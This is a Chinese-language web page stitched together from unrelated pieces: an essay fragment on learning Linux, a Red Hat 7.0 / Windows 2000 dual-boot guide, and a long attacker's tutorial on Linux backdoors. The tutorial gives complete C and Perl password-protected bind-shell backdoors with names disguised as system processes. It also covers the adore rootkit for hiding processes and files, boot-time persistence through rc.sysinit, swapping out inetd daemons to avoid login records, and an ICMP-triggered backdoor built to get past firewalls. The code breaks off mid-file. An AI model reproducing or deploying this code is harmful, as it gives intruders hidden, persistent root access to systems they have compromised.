用知道一些有用的方法，学会了欣赏别人的程序，如果让我做一个程序我的第一步可能就是找到
相关的程序并查看他们的编程方法。同样，如果能够真正使用互联网，你可以发现更多的程序设
计的参考。

    两年的实践给了我一种驾驭系统的轻松，因为我知道很多东西没有想象的那么难以接受，最
重要的是"try again"。实际上，你能够真切地感受到各种系统是相通的，如同水是相通的一样；
学习不应该是一种负担，而是根据自己的实际情况去解决实际的问题，兴趣是一种不可忽视的因
素。我想象不出如果能够根据大学计算机专业的课程设置，同步提供Linux的实践，那么我们的大
学生在毕业时会有怎样的技术水平？同样，我们的高校可能会有更多一些的可以为普通人接受的
软件，而不是只是培养专家的科研成果，或是寥寥千套的获奖操作系统。没有理论的实践是盲目
的，没有实践的理论是空洞的，而计算机软件是需要理论和实践紧密结合的。


linux和win2000双系统的快速安装

redhat linux7.0&win2000双系统的快速安装

先简单说明一下，笔者机器，双硬盘。主盘3.8g硬盘(艰苦朴素，乃中华儿女的传统美德）从盘 3g。

主盘先分出2g ntfs文件格式，安装win2k。怎么安装win2k这里就不多废话了。安装完成后。用linux光盘启动，安装linux，交换分区100m，根分区，剩余空间。安装完成后，linux可以启动，win2k启动不了，先不管它，以root登陆，在shell执行：

lilo -s lilo.dat

把lilo另存为lilo.dat这样一个文件。然后把这个文件cp到c:\(也就是win2000的系统盘).问题是笔者硬盘上没有fat32分区，(有fat32分区的就可以用mount装载fat32分区，然后cp了，不过我讨厌在win2k上用fat32，个人观点)linux7.0的内核不能识别ntfs分区，这也就是win2k不能启动的原因。先不管它，reboot。

用dos启动，执行fdisk /mbr

恢复主引导记录。再次从新启动。系统以win2k启动，先安装这个小程序explore2fs.exe，可以在winx下读取linux分区的工具。把lilo.dat读出来，放c:\,修改boot.ini文件，在最下面添加：

c:\lilo.dat="redhat linux 7.0"

又一次从新启动,看到什么了吗？哈哈，好简单！（我原来用sc2000，把我折腾的要死）

好了，现在你可以慢慢品味你的劳动成果了。

沉睡不醒 2002/05/18
http://sss444.126.com
e-mail:leiliao00000@sina.com


linux后门技巧

linux后门技巧
作为一个攻击者我们们每攻击一个系统并得到根用户权限的时候我们都会想方设法的,给自己留下后门以便以后还可以轻而易举的进入对方的主机
然而我们常会因为一点小小的疏忽损失我们刚刚得到的肉鸡所以我们一定要想好每一个细节,
例如我们常用bindshell这个小东西给自己留下一个后门,这样我们就可以连接指定端口从而获得权限,她的优点就是比较方便,但是她的弱点相对也不小
而且重起之后这个程序将不会在被运行!请看下面一段代码
/*

Simple backdoor-----bindshell
Author: Unknow
Change by quack

gcc bindshell.c -lcrypt

*/

#define FAKEBACKDOOR "killcasper "
#define PORT 34567
#define PASSWORD "ljVu89sbpAj3I"
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid,
    cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
char *display;

int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'\x0',strlen(argv[i]));
};

display = getenv("HACKER");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
strcpy(argv[0], FAKEBACKDOOR);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (!strcmp(PASSWORD, crypt(display, PASSWORD)));
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
这段小程序是我很久以前找到的在quack在这段程序中加入了一个用户的验证,如果我们连接指定的端口,我们必需要输入ljVu89sbpAj3I才能得到shell
我想说应该值得我们注意的便是我们应该根据/etc/services服务列表来分配端口,如果我们直接打开一个没有任何意义的端口管理员用netstat察看端口
得时候就会看到,而且一定要要输入用户导入验证否则管理员telnet上就会知道哦
tcp 0 0 *:31337 *:* LISTEN--------backdoor
tcp 0 0 *:1024 *:* LISTEN
tcp 0 0 *:6000 *:* LISTEN
tcp 0 0 *:www *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 *
rinter *:* LISTEN
tcp 0 0 *:finger *:* LISTEN
tcp 0 0 *:login *:* LISTEN

[root@localhost eko]# ekobdoor -s 5002
这下我们打开了一个5002的端口,并且要求要导入验证
tcp 0 0 *:rfe *:* LISTEN----后门
tcp 0 0 *:1024 *:* LISTEN
tcp 0 0 *:6000 *:* LISTEN
tcp 0 0 *:www *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 *:login *:* LISTEN
tcp 0 0 *:shell *:* LISTEN
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
这次我们看到的 :rfe一个假的服务
,如果管理员用ps察看进程时我们还是会被发现的........................................
[root@localhost eko]# ps
PID TTY TIME CMD
670 pts/1 00:00:00 bash
712 pts/1 00:00:00 door--
720 pts/1 00:00:00 sh <defunct>
755 pts/1 00:00:00 ps
这个我们可以用几种方法来解决,.第一我们可以更改程序名knotify这样我们可以来迷惑一下白痴网管(懒人作法),,,
但是我还是给大家推荐使用LKM的程序来隐藏进程序程序：http://packetstorm.securify.com/groups/teso/adore-0.14.tar.gz

功能：隐藏进程，目录，文件， （隐藏有什么用？还要我说啊 KKKKKK）

解压：
#tar zxvf adore-0.14.tar.gz
有这几个文件：

LICENSE Makefile README adore.c adore.o ava.c

编译：
[root@weiyangsheng adore]# make
cc -c -O2 -Wall -I/usr/src/linux/include -DBEHAVE_STEALTH -DHIDDEN_SERVICE="\":
31337\"" -DELITE_CMD=50000 adore.c -o adore.o
cc -O2 -Wall -I/usr/src/linux/include -DBEHAVE_STEALTH -DHIDDEN_SERVICE="\":313
37\"" -DELITE_CMD=50000 -O2 -Wall ava.c -o ava
[root@weiyangsheng adore]#
Ok,编译成功！

运行：
先加载adore.o

[root@weiyangsheng adore]# /sbin/insmod adore.o
[root@weiyangsheng adore]#

ok!

[root@weiyangsheng adore]# ./ava
Usage: ./ava {h,u,r,i,v,U} [file, PID or dummy (for 'U')]

h hide file
u unhide file
r execute as root
U uninstall adore
i make PID invisible
v make PID visible

h 隐藏文件或者目录；
u 取消上面的隐藏
r (没试）
U 卸掉模块adord.o
i 隐藏 PID
v 取消上面的隐藏

使用实例：

[root@weiyangsheng linux_hacktools]# ps
PID TTY TIME CMD
2808 pts/0 00:00:00 login
2832 pts/0 00:00:00 su
2833 pts/0 00:00:00 bash
2845 pts/0 00:00:00 ps
[root@weiyangsheng linux_hacktools]# ./ava i 2808
[root@weiyangsheng linux_hacktools]# ps
PID TTY TIME CMD
2832 pts/0 00:00:00 su
2833 pts/0 00:00:00 bash
2845 pts/0 00:00:00 ps
[root@weiyangsheng linux_hacktools]#

MM的,进程果然看8到了&^$#~ 剩下的功能大家自己试。

这些有隐患的东西已经基本解决了,但是如果对方网管有重起的习惯我们改怎么办呢!?谁都知道我们系统重起后bindshell将会被kill掉,
我现在有一个办法,解决暂时的问题!!!!!!!!!!让我们先来编辑一个脚本用来启动后门!!!!!!!!!!!!!!!!!!
#! /bin/bash
cd /usr/lib;./knotify 123456
保存为knotify.sh,然后把这个教本放到/usr/bin里!!!下面我们看看!>
echo '/usr/bin/knotify.sh' >> /etc/rc.d/rc.sysinit---这样就可以了!!!我们就可以暂时\就可以不用管他了嘿! :|(>

我想提醒的是在某些情况下可以灵活的运用linux她的好处就在@这里.不要只留一个最容易被发现的后门....攻破对方主机之后一定要给对方
打好补丁否则别人会用同样的方式进入后门,如果是居心不良的人你可就惨了,,
还有一种后门就是td他既是ddos工具.有多种攻击方式,而且隐藏的非常的好!!!一般管理员是不会只能发现被感染的.而且他还对数据进行加密哦(好象

原创部分(还有一部分抄的
)写的不好凑或者看吧

最后ps一份端口列表不太站篇幅吧：）
# /etc/services:
# $Id: services,v 1.4 2000/01/23 21:03:36 notting Exp $
#
# Network services, Internet style
#
# Note that it is presently the policy of IANA to assign a single well-known
# port number for both TCP and UDP; hence, most entries here have two entries
# even if the protocol doesn't support UDP operations.
# Updated from RFC 1700, ``Assigned Numbers'' (October 1994). Not all ports
# are included, only the more common ones.

tcpmux----1/tcp--------# TCP port service multiplexer
echo----7/tcp
echo----7/udp
discard----9/tcp----sink null
discard----9/udp----sink null
systat----11/tcp----users
daytime----13/tcp
daytime----13/udp
netstat----15/tcp
qotd----17/tcp----quote
msp----18/tcp--------# message send protocol
msp----18/udp--------# message send protocol
chargen----19/tcp----ttytst source
chargen----19/udp----ttytst source
ftp-data--20/tcp
ftp----21/tcp
fsp----21/udp----fspd
ssh----22/tcp--------# SSH Remote Login Protocol
ssh----22/udp--------# SSH Remote Login Protocol
telnet----23/tcp
# 24 - private
smtp----25/tcp----mail
# 26 - unassigned
time----37/tcp----timserver
time----37/udp----timserver
rlp----39/udp----resource--# resource location
nameserver--42/tcp----name----# IEN 116
whois----43/tcp----nicname
re-mail-ck--50/tcp--------# Remote Mail Checking Protocol
re-mail-ck--50/udp--------# Remote Mail Checking Protocol
domain----53/tcp----nameserver--# name-domain server
domain----53/udp----nameserver
mtp----57/tcp--------# deprecated
bootps----67/tcp--------# BOOTP server
bootps----67/udp
bootpc----68/tcp--------# BOOTP client
bootpc----68/udp
tftp----69/udp
gopher----70/tcp--------# Internet Gopher
gopher----70/udp
rje----77/tcp----netrjs
finger----79/tcp
www----80/tcp----http----# WorldWideWeb HTTP
www----80/udp--------# HyperText Transfer Protocol
link----87/tcp----ttylink
kerberos--88/tcp----kerberos5 krb5--# Kerberos v5
kerberos--88/udp----kerberos5 krb5--# Kerberos v5
supdup----95/tcp
# 100 - reserved
hostnames--101/tcp----hostname--# usually from sri-nic
iso-tsap--102/tcp----tsap----# part of ISODE.
csnet-ns--105/tcp----cso-ns----# also used by CSO name server
csnet-ns--105/udp----cso-ns
# unfortunately the poppassd (Eudora) uses a port which has already
# been assigned to a different service. We list the poppassd as an
# alias here. This should work for programs asking for this service.
# (due to a bug in inetd the 3com-tsmux line is disabled)
#3com-tsmux--106/tcp----poppassd
#3com-tsmux--106/udp----poppassd
rtelnet----107/tcp--------# Remote Telnet
rtelnet----107/udp
pop2----109/tcp----pop-2--postoffice--# POP version 2
pop2----109/udp----pop-2
pop3----110/tcp----pop-3----# POP version 3
pop3----110/udp----pop-3
sunrpc----111/tcp----portmapper--# RPC 4.0 portmapper TCP
sunrpc----111/udp----portmapper--# RPC 4.0 portmapper UDP
auth----113/tcp----authentication tap ident
sftp----115/tcp
uucp-path--117/tcp
nntp----119/tcp----readnews untp--# USENET News Transfer Protocol
ntp----123/tcp
ntp----123/udp--------# Network Time Protocol
netbios-ns--137/tcp--------# NETBIOS Name Service
netbios-ns--137/udp
netbios-dgm--138/tcp--------# NETBIOS Datagram Service
netbios-dgm--138/udp
netbios-ssn--139/tcp--------# NETBIOS session service
netbios-ssn--139/udp
imap2----143/tcp----imap----# Interim Mail Access Proto v2
imap2----143/udp----imap
snmp----161/udp--------# Simple Net Mgmt Proto
snmp-trap--162/udp----snmptrap--# Traps for SNMP
cmip-man--163/tcp--------# ISO mgmt over IP (CMOT)
cmip-man--163/udp
cmip-agent--164/tcp
cmip-agent--164/udp
xdmcp----177/tcp--------# X Display Mgr. Control Proto
xdmcp----177/udp
nextstep--178/tcp----NeXTStep NextStep--# NeXTStep window
nextstep--178/udp----NeXTStep NextStep--# server
bgp----179/tcp--------# Border Gateway Proto.
bgp----179/udp
prospero--191/tcp--------# Cliff Neuman's Prospero
prospero--191/udp
irc----194/tcp--------# Internet Relay Chat
irc----194/udp
smux----199/tcp--------# SNMP Unix Multiplexer
smux----199/udp
at-rtmp----201/tcp--------# AppleTalk routing
at-rtmp----201/udp
at-nbp----202/tcp--------# AppleTalk name binding
at-nbp----202/udp
at-echo----204/tcp--------# AppleTalk echo
at-echo----204/udp
at-zis----206/tcp--------# AppleTalk zone information
at-zis----206/udp
qmtp----209/tcp--------# The Quick Mail Transfer Protocol
qmtp----209/udp--------# The Quick Mail Transfer Protocol
z3950----210/tcp----wais----# NISO Z39.50 database
z3950----210/udp----wais
ipx----213/tcp--------# IPX
ipx----213/udp
imap3----220/tcp--------# Interactive Mail Access
imap3----220/udp--------# Protocol v3
rpc2portmap--369/tcp
rpc2portmap--369/udp--------# Coda portmapper
codaauth2--370/tcp
codaauth2--370/udp--------# Coda authentication server
ulistserv--372/tcp--------# UNIX Listserv
ulistserv--372/udp
ldap 389/tcp ------# Lightweight Directory Access Protocol
ldap 389/udp ------# Lightweight Directory Access Protocol
https----443/tcp--------# MCom
https----443/udp--------# MCom
snpp----444/tcp--------# Simple Network Paging Protocol
snpp----444/udp--------# Simple Network Paging Protocol
saft----487/tcp--------# Simple Asynchronous File Transfer
saft----487/udp--------# Simple Asynchronous File Transfer
npmp-local--610/tcp----dqs313_qmaster--# npmp-local / DQS
npmp-local--610/udp----dqs313_qmaster--# npmp-local / DQS
npmp-gui--611/tcp----dqs313_execd--# npmp-gui / DQS
npmp-gui--611/udp----dqs313_execd--# npmp-gui / DQS
hmmp-ind--612/tcp----dqs313_intercell# HMMP Indication / DQS
hmmp-ind--612/udp----dqs313_intercell# HMMP Indication / DQS
#
# UNIX specific services
#
exec----512/tcp
biff----512/udp----comsat
login----513/tcp
who----513/udp----whod
shell----514/tcp----cmd----# no passwords used
syslog----514/udp
printer----515/tcp----spooler----# line printer spooler
talk----517/udp
ntalk----518/udp
route----520/udp----router routed--# RIP
timed----525/udp----timeserver
tempo----526/tcp----newdate
courier----530/tcp----rpc
conference--531/tcp----chat
netnews----532/tcp----readnews
netwall----533/udp--------# -for emergency broadcasts
uucp----540/tcp----uucpd----# uucp daemon
afpovertcp--548/tcp--------# AFP over TCP
afpovertcp--548/udp--------# AFP over TCP
remotefs--556/tcp----rfs_server rfs--# Brunhoff remote filesystem
klogin----543/tcp--------# Kerberized `rlogin' (v5)
kshell----544/tcp----krcmd----# Kerberized `rsh' (v5)
kerberos-adm--749/tcp--------# Kerberos `kadmin' (v5)
#
webster----765/tcp--------# Network dictionary
webster----765/udp
swat----901/tcp--------# Samba Web Administration Tool
#
# From ``Assigned Numbers'':
#
#> The Registered Ports are not controlled by the IANA and on most systems
#> can be used by ordinary user processes or programs executed by ordinary
#> users.
#
#> Ports are used in the TCP [45,106] to name the ends of logical
#> connections which carry long term conversations. For the purpose of
#> providing services to unknown callers, a service contact port is
#> defined. This list specifies the port used by the server process as its
#> contact port. While the IANA can not control uses of these ports it
#> does register or list uses of these ports as a convienence to the
#> community.
#
ingreslock--1524/tcp
ingreslock--1524/udp
prospero-np--1525/tcp------# Prospero non-privileged
prospero-np--1525/udp
datametrics--1645/tcp--old-radius--# datametrics / old radius entry
datametrics--1645/udp--old-radius--# datametrics / old radius entry
sa-msg-port--1646/tcp--old-radacct--# sa-msg-port / old radacct entry
sa-msg-port--1646/udp--old-radacct--# sa-msg-port / old radacct entry
radius----1812/tcp------# Radius
radius----1812/udp------# Radius
radacct----1813/tcp------# Radius Accounting
radacct----1813/udp------# Radius Accounting
cvspserver--2401/tcp------# CVS client/server operations
cvspserver--2401/udp------# CVS client/server operations
venus----2430/tcp------# codacon port
venus----2430/udp------# Venus callback/wbc interface
venus-se--2431/tcp------# tcp side effects
venus-se--2431/udp------# udp sftp side effect
codasrv----2432/tcp------# not used
codasrv----2432/udp------# server port
codasrv-se--2433/tcp------# tcp side effects
codasrv-se--2433/udp------# udp sftp side effect
mysql----3306/tcp------# MySQL
mysql----3306/udp------# MySQL
rfe----5002/tcp------# Radio Free Ethernet
rfe----5002/udp------# Actually uses UDP only
cfengine--5308/tcp------# CFengine
cfengine--5308/udp------# CFengine
bbs----7000/tcp------# BBS service
#
#
# Kerberos (Project Athena/MIT) services
# Note that these are for Kerberos v4, and are unofficial. Sites running
# v4 should uncomment these and comment out the v5 entries above.
#
kerberos4--750/udp----kerberos-iv kdc--# Kerberos (server) udp
kerberos4--750/tcp----kerberos-iv kdc--# Kerberos (server) tcp
kerberos_master--751/udp--------# Kerberos authentication
kerberos_master--751/tcp--------# Kerberos authentication
passwd_server--752/udp--------# Kerberos passwd server
krb_prop--754/tcp--------# Kerberos slave propagation
krbupdate--760/tcp----kreg----# Kerberos registration
kpasswd----761/tcp----kpwd----# Kerberos "passwd"
kpop----1109/tcp------# Pop with Kerberos
knetd----2053/tcp------# Kerberos de-multiplexor
zephyr-srv--2102/udp------# Zephyr server
zephyr-clt--2103/udp------# Zephyr serv-hm connection
zephyr-hm--2104/udp------# Zephyr hostmanager
eklogin----2105/tcp------# Kerberos encrypted rlogin
#
# Unofficial but necessary (for NetBSD) services
#
supfilesrv--871/tcp--------# SUP server
supfiledbg--1127/tcp------# SUP debugging
#
# Datagram Delivery Protocol services
#
rtmp----1/ddp--------# Routing Table Maintenance Protocol
nbp----2/ddp--------# Name Binding Protocol
echo----4/ddp--------# AppleTalk Echo Protocol
zip----6/ddp--------# Zone Information Protocol
#
# Services added for the Debian GNU/Linux distribution
poppassd--106/tcp--------# Eudora
poppassd--106/udp--------# Eudora
mailq----174/tcp--------# Mailer transport queue for Zmailer
mailq----174/udp--------# Mailer transport queue for Zmailer
ssmtp----465/tcp--------# SMTP over SSL
gdomap----538/tcp--------# GNUstep distributed objects
gdomap----538/udp--------# GNUstep distributed objects
snews----563/tcp--------# NNTP over SSL
ssl-ldap--636/tcp--------# LDAP over SSL
omirr----808/tcp----omirrd----# online mirror
omirr----808/udp----omirrd----# online mirror
rsync----873/tcp--------# rsync
rsync----873/udp--------# rsync
simap-- --993/tcp--------# IMAP over SSL
spop3----995/tcp--------# POP-3 over SSL
socks----1080/tcp------# socks proxy server
socks----1080/udp------# socks proxy server
rmtcfg----1236/tcp------# Gracilis Packeten remote config server
xtel----1313/tcp------# french minitel
support----1529/tcp------# GNATS
cfinger----2003/tcp------# GNU Finger
ninstall--2150/tcp------# ninstall service
ninstall--2150/udp------# ninstall service
afbackup--2988/tcp------# Afbackup system
afbackup--2988/udp------# Afbackup system
icp----3130/tcp------# Internet Cache Protocol (Squid)
icp----3130/udp------# Internet Cache Protocol (Squid)
postgres--5432/tcp------# POSTGRES
postgres--5432/udp------# POSTGRES
fax----4557/tcp------# FAX transmission service (old)
hylafax----4559/tcp------# HylaFAX client-server protocol (new)
noclog----5354/tcp------# noclogd with TCP (nocol)
noclog----5354/udp------# noclogd with UDP (nocol)
hostmon----5355/tcp------# hostmon uses TCP (nocol)
hostmon----5355/udp------# hostmon uses TCP (nocol)
ircd----6667/tcp------# Internet Relay Chat
ircd----6667/udp------# Internet Relay Chat
webcache--8080/tcp------# WWW caching service
webcache--8080/udp------# WWW caching service
tproxy----8081/tcp------# Transparent Proxy
tproxy----8081/udp------# Transparent Proxy
mandelspawn--9359/udp--mandelbrot--# network mandelbrot
amanda----10080/udp------# amanda backup services
kamanda----10081/tcp------# amanda backup services (Kerberos)
kamanda----10081/udp------# amanda backup services (Kerberos)
amandaidx--10082/tcp------# amanda backup services
amidxtape--10083/tcp------# amanda backup services
isdnlog----20011/tcp------# isdn logging system
isdnlog----20011/udp------# isdn logging system
vboxd----20012/tcp------# voice box system
vboxd----20012/udp------# voice box system
binkp----24554/tcp------# Binkley
binkp----24554/udp------# Binkley
asp----27374/tcp------# Address Search Protocol
asp----27374/udp------# Address Search Protocol
tfido----60177/tcp------# Ifmail
tfido----60177/udp------# Ifmail
fido----60179/tcp------# Ifmail
fido----60179/udp------# Ifmail

# Local services

linuxconf--98/tcp----# added by linuxconf RPM

我喜欢的方式。而且由于绕开了login,故用 who 无法
看到--也就是说，避开了utmp&utmpx&wtmp&wtmpx;但没有
完全避开 syslogd.ADM仍可以在/var/log/messages中发现
你。不过，有一种方法可以彻底完全的旁路 syslogd!且听
下面一一道来.
bindshell的实现有两种：
a.
替换掉 inetd.conf 中的不重要服务，如 rlogind
在inetd 接受 connect 请求后,直接在本端口
利用 system("/bin/csh -i");
直接spam 出一个shell，
b. 接受 connect 后，在高端spam出一个shell;
（更安全 ：）
下面我给出一个perl 实现（不需socket libary支持）
(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)
和一个 gnuc 的实现（test on slackware 2.0.33&irix6.4)
---
perl 版安装方法：
###无须编译！！只要目标机上有perl支持就okay!
如何判断有无perl: $/>perl [enter]

[ctrl-c]
$/>
-
如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面
的方法有很大的危险性, exit(-1) please;
-
首先将源程序cut，存为你想要替换的daemon,如in.rexecd or
or in.rlogind ,in.pop2d....最好是已经被ADM关掉了，而且
不太引人注目的daemon,注意，一定要是 TCP types.然后
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak )
cp in.rexecd /usr/sbin/in.rexecd
然后 ps -aux|grep inetd;kill -HUP id(by inetd);
okay! 连 /etc/inetd.conf 都不要改。
重申一点：不论在任何情况下，我们都要尽最大的可能保护数据！
-
Usage: nc target <ur changed daemon's port> (such as 512)
[enter]
ur passwd [enter]
(then u login in...

----Cut Here------------------------------------------

#!/usr/bin/perl
#
# BEST
# SIMPLE
# rem0te bind shell
#[perl version only tcp]
# by
# zer9[FTT]
# zer9@21cn.com
#passed on allmost unix
#greet to:van Hauser/[THC]
# for his daemonshell.pl
#
$SHELL="/bin/csh -i";
#d3f4ult p4sswd 1s "wh04r3u" (no quote);
$PASSWORD="BifqmATb6D5so";

if ($PASSWORD) {
chop($pass=<STDIN>;
if (crypt($pass, $PASSWORD) ne $PASSWORD) {
exit 0;
}
exec $SHELL ;
exit 0;
}

----Cut Here--------------------------------------------

下面是一个for gnuc 的bindshell,first cut it,save as
backdoor.c ,then cc backdoor.c -o backdoor
other action just l1ke before;
Usage: (exp:binding to in.rlogind (513))
nc target 513 //spam a shell on the high port;
nc target 54321
ur passwd
(then u coming in...)

----Cut Here-------------------------------------

/*
* [ b i n d - s h e l l ]
* by
* zer9[FTT]
* zer9@21cn.com
*test on slackware 2.0.33&irix6.4(cc)
*cc backdoor.c -o backdoor
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
*c0mm4nd l1n3: backdoor [port]
*d3fault p0rt 1s: 54321
*greets to b4b0 for his b4b0.c
*m4yb3 1 c0uld s4y:
*"0k,b4b0.l1st3n c4r3fully;"
*s0rry,just a joke.
*
*/

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#define PassWord "k1n90fth3w0rld"
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */

#define DefaultPort 54321
/* d3f4ult b1nd1ng p0rt */

int main(int argc,char **argv)
{
int s,in_s;
struct sockaddr_in server,client;
int client_len,bindport;
char recvbuf[1000];

if(argc!=2) bindport=DefaultPort;
else
bindport=atoi(argv[1]);
if((s=socket(AF_INET,SOCK_STREAM,0))<0)
{
perror("socket");
return -1;
}
bzero((char *)&server,sizeof(server));
bzero((char *)&client,sizeof(client));
bzero(recvbuf,sizeof(recvbuf));
server.sin_family=AF_INET;
server.sin_port=htons(bindport);
server.sin_addr.s_addr=INADDR_ANY;
if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
{
perror("bind");
return -1;
}
if(listen(s,3)!=0)
{
perror("listen");
return -1;
}
client_len=sizeof(client);
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
{
perror("accept");
return -1;
}
recv(in_s,recvbuf,sizeof(recvbuf),0);
sleep(1);
if((strlen(recvbuf)-1)==strlen(PassWord))
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
{
send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
close(0);close(1);close(2);
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
execl("/bin/csh","/bin/csh",(char *)0);
}
close(s);
close(in_s);
return 0;
}

发现一个比较好玩的后门！！嘿嘿，用ping来取得权限！！这个后门客一针对linux和solaris发送icmp数据嘿嘿。。。。即使是防火墙也很少阻止 ICMP 的通过，因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现；我想到了另外一种直接用ping命令实现的可通过防火墙的方法 ：

一方在防火墙内，一方在防火墙外；除 ICMP 外；通向防火墙内的信息均被过滤掉 ：(用 60k data 代表长,10k data 代表短；使用摩尔思编码；（或其他自定义编码）双方通过 ICMPinfo 接受信息（ping 's data length)；“嘀，嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江，我是黄河--- 向我开炮！向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。作者创意识在世不错！！我拿过来用一下:|

(ping -s targetip port要完成设置可能要更改代码的一些设置 ^：|>

#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#define SIZEPACK 77
#define PORT 65535

void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}
int bind_shell()
{
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
chdir("/");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
return 1;
}
close(soc_cli);
}
}
int main(int argc, char *argv[])
{
int s, size, fromlen;
char pkt[4096];
struct protoent *proto;
struct sockaddr_in from;

strcpy(argv[0], (char *)strcat(argv[0], " "));

signal(SIGHUP,SIG_IGN);
signal(SIGCHLD, child_kill);
if (fork() != 0) exit(0);
proto = getprotobyname("icmp");
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
/* can't creat raw socket */
exit(0);

/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from
, &
fromlen)) < 0)
printf("", size-28);

} while (size != SIZEPACK + 28);
/* size == SIZEPACK, let's bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
/* strcpy(argv[0], "-sekure working for your profit-"); */
bind_shell();
exit(0);
}
sleep(15);
}
}

/*
* sekure ping backdoor for linux. (Sep 13, 1998)
*
*
* usage:
* ./ping-back packet_size port
*
* | `-> port to bind the shell.
* `-> you'll use this number to start the shell.
*
* to start the shell: ping host -s packet_size
*
*
* coded by jamez. e-mail: jamez@sekure.org
*
* http://www.sekure.org/
*
*/

#include <signal.h>
#include <netinet/ip.h>
#include <netdb.h>

int SIZEPACK, PORT;

void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}

int bind_shell()
{

int soc_des, soc_cli, soc_rc, soc_len, server_pid,
    cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

chdir("/");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (soc_des == -1)
exit(-1);

bzero((char *) &serv_addr,sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

if (soc_rc != 0)
exit(-1);

if (fork() != 0)
exit(0);

setpgrp();

if (fork() != 0)
exit(0);

soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);

while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

if (soc_cli < 0)
--exit(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0)
--{
-- dup2(soc_cli,0);
-- dup2(soc_cli,1);
-- dup2(soc_cli,2);
-- execl("/bin/sh","sh",(char *)0);
-- close(soc_cli);
-- return 1;
--}

close(soc_cli);
}

}

int main(int argc, char *argv[])
{

int s, size, fromlen;
char pkt[4096];

struct protoent *proto;
struct sockaddr_in from;

if(argc < 3) {
printf("usage: %s packet_size port (jamez@sekure.org)\n", argv[0]);
exit(0);
}

SIZEPACK = atoi(argv[1]);
PORT = atoi(argv[2]);

strcpy(argv[0], (char *)strcat(argv[0], " "));

signal(SIGHUP,SIG_IGN);
signal(SIGCHLD, child_kill);

if (fork() != 0) exit(0);

proto = getprotobyname("icmp");

if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
/* can't creat raw socket */
exit(0);

--

/* waiting for packets */
